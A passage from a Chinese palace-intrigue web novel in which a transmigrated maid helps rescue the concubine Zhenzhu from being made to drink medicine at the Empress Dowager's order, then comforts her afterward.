他欲起身,手臂撑着床沿,忽觉一阵酸痛,脱手就要栽倒,祝谣及时上前扶住,却又凑巧掐住了泛疼的皮肉,只见裴执鹤的面色变了几变。
祝谣松手,叫来昌安,速速给裴执鹤更衣拾掇。
一行人出门时,祝谣心底愈加没底。
裴执鹤偶像包袱重,穿件衣裳很是繁琐,此时赶去,或许已经尘埃落定了。
不过不晓得喝了药下去,珍珠会怎么样,好歹裴执鹤露个面,也能让太后早点放人。
祝谣回来时留心了地势,裴执鹤和太后所住的院落并不算远,只是一个地势高,一个地势低,为了行走不那么累,修出的道路绕着坡斜坡愣是绕了几圈。
她特意带着裴执鹤走了另一边的阶梯,使眼色让昌安在背后以手撑着他家主子的背,推着快步爬到顶上。
裴执鹤有些力竭,将其归咎于是状态虚弱,所以体力不支。
祝谣被留在了门外,那些宫女凑了过来。
“蝉儿,侯爷端的如此喜爱你主子?”
“蝉儿,侯爷早晨怎么不过来请安,你好生威风,一下便请来了。”
“同我说说,珍珠是怎么得到侯爷青睐的?真是中了……邪药吗?”
祝谣被问得不知道该先回答谁,房中突地响起一道瓷器撞向地面的碎裂声。
*
室内。
“皇祖母,何故给她喝这种药?”
乌黑的汤药随着盛具四分五裂,摊在地上,像是一条曲折的污河。
裴执鹤方才闯入时,便见珍珠喝着味道浓烈的汤药,神色痛苦。
他看向躲了半边身子、立在芳嬷嬷后边的嬷嬷,见其眼神飘移,一副心虚的做派,心下已有猜度。
现时裴执鹤将珍珠揽入怀中,她的唇色发白,浑身犹在发抖,到底是有过肌肤之亲的女子,他当即质问太后。
“鹤儿!”不过一个晚上,自己的外孙竟帮着一个外人指责她,太后难以置信道,“你还要怪你的亲祖母不成?”
裴执鹤也反应过来自己有些过激,他闭眼缓了下神,道:“是孙儿不好,孙儿不该这般对祖母说话。只是珍珠是无辜的,若要因为孙儿遭受这等对待,孙儿于心不忍。”
珍珠适时地咳嗽起来,攥紧他的衣衫,埋头到脖颈处。
裴执鹤拍拍她的背:“皇祖母,先让珍珠回去罢,您有什么想说的,单说与我听就是。”
太后看向他怀中的女子,娇娇弱弱,惹人怜惜,知道裴执鹤这一时是把她放心尖上,谁阻拦他们俩都没用,还会适得其反,于是摆了摆手,表面妥协地叹气道:“哀家听你的。回去请府医给珍珠看看,开些调理身子的药。”
裴执鹤安抚了珍珠几句,将她交给昌安和蝉儿,回来听教。
太后下了座,握着裴执鹤的手道:“哀家是听卉嬷嬷说,有种药既能让女子暂时不易有孕,又能调理宫寒,只是味道比黄连苦上百倍。”
卉嬷嬷被点了名,连连点头:“是是。而且这药要喝上三回才生效,珍珠姑娘只喝了半碗,估摸和红枣桂圆汤是一样的功效。”
见裴执鹤有所松动,太后继续道:“珍珠是个好姑娘,哀家已是太后,想要什么,皇帝都会给哀家寻来,哀家何必对付一个丫头,图什么呢?只是……鹤儿你将来还要娶妻,宁远侯夫人须是名门淑女,你的长子最好是由她生育,如此才是长远之计,传承之道啊。”
裴执鹤彻底放下芥蒂,想着是他误会了太后,她何曾害过自己,处处为他考虑,入朝也是她向舅舅提议的。
“我明白。昌安跟了我这些年,知道其中的利害,我也放心交给他料理。”裴执鹤扶着太后坐下,软和语气道,“我在这陪您歇歇,待晚宴快开始了,我们同去。”
太
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后露了笑:“好,好。晓得你心中有数,哀家就不多操心,免得你嫌哀家多管闲事了。”
“我不介意,我知道皇祖母是为了我好。”裴执鹤回道。
卉嬷嬷在旁边瞅着,这才呼出口气。
*
从门外接过药童送来的汤药,祝谣端到小桌上。
她往一旁看去,只见珍珠自回来后便径自坐到榻边,一副魂不守舍的模样。
“珍珠,该吃药了。”
话才出口,祝谣暗自呸呸两声,概因她想到了另一句话——“大郎,该吃药了。”
“不……不,我不喝。”珍珠回过神来,一手抓着祝谣,一手捂住小腹,哀切道,“蝉儿,我不想喝,那药会害了我。”
为安抚她的情绪,祝谣顺着她的意思道:“不喝,不喝。”
况且这药成分如何,她们都不清楚,万一掺了别的东西进去呢?
好生哄了一会儿,珍珠渐渐安静下来,却像被抽去了三魂,愣愣怔怔的。
祝谣实在觉得,长此以往下去,珍珠的精神状态堪忧。
若说古时的大环境是个吃人的社会,那么越接近皇权,越会被吃得骨头都不剩。
假如珍珠一直待在裴执鹤的身边,那么如今日这般被审视、被蔑视、被漠视的状况,还会上演千遍万遍。
祝谣揣摩着一个不会被系统噤声的边界,试探地问道:“珍珠,你有没有想过,假使你没有入侯府,你会做什么?”
“没有进到侯府?”珍珠愣了一下几息,轻轻地晃了晃头,抬起手,指头抵着微露贝齿的唇边,“没想过……我除了侯府还能去哪呢?侯府很好啊,侯爷许诺过会对我好的,我不后悔……”
见她这般神情,祝谣闭了嘴。
她的任务就是围绕男女主二人开展的,要是她把珍珠劝跑了,一切都得乱套了。而且世界已经往他们俩身上捆了紧实的红线,想必谁也拆散不了这对有情人的。
祝谣不再咸吃萝卜淡操心,她打算给珍珠找些事做,忙起来就不会胡思乱想了。
正好,祝谣发现连翘送给自己的那方绣有玫瑰的帕子不见,也不知是路上掉了,还是落在裴执鹤的房里了。
现下珍珠且离不开她,也不好去寻。
祝谣想到连翘的脾性,要是知道她弄丢了自己辛辛苦苦缝制的手帕,得怨怒她了。
的确也是她的错,不过眼下还是先让珍珠仿一张帕子出来,应付过去。
“珍珠,今日是我生辰,我能向你讨个礼吗?”祝谣厚着脸皮道。
但见珍珠听罢,回了魂,稍许懊恼道:“好啊,怪我不好,没提前问你,倒让你亲自到我跟前要礼物。”
“你没错,我也没错,莫纠结这种小事。”祝谣回忆着玫瑰的颜色、形态等等,一一向珍珠提道,“我想要红玫瑰,两朵,花苞微开,绣在右下角。”
珍珠应下:“好,几日我便能绣好送你。”
祝谣又拉着她东扯西扯,好不容易使她面上带了笑意,门外却响起了敲门声。
是昌安。
他道:“珍珠好些了吗?侯爷让我来传话,晚宴珍珠也去。”
祝谣甫站起身,立在珍珠的身旁,珍珠闻言,一下惊惶地揪住祝谣的衣衫。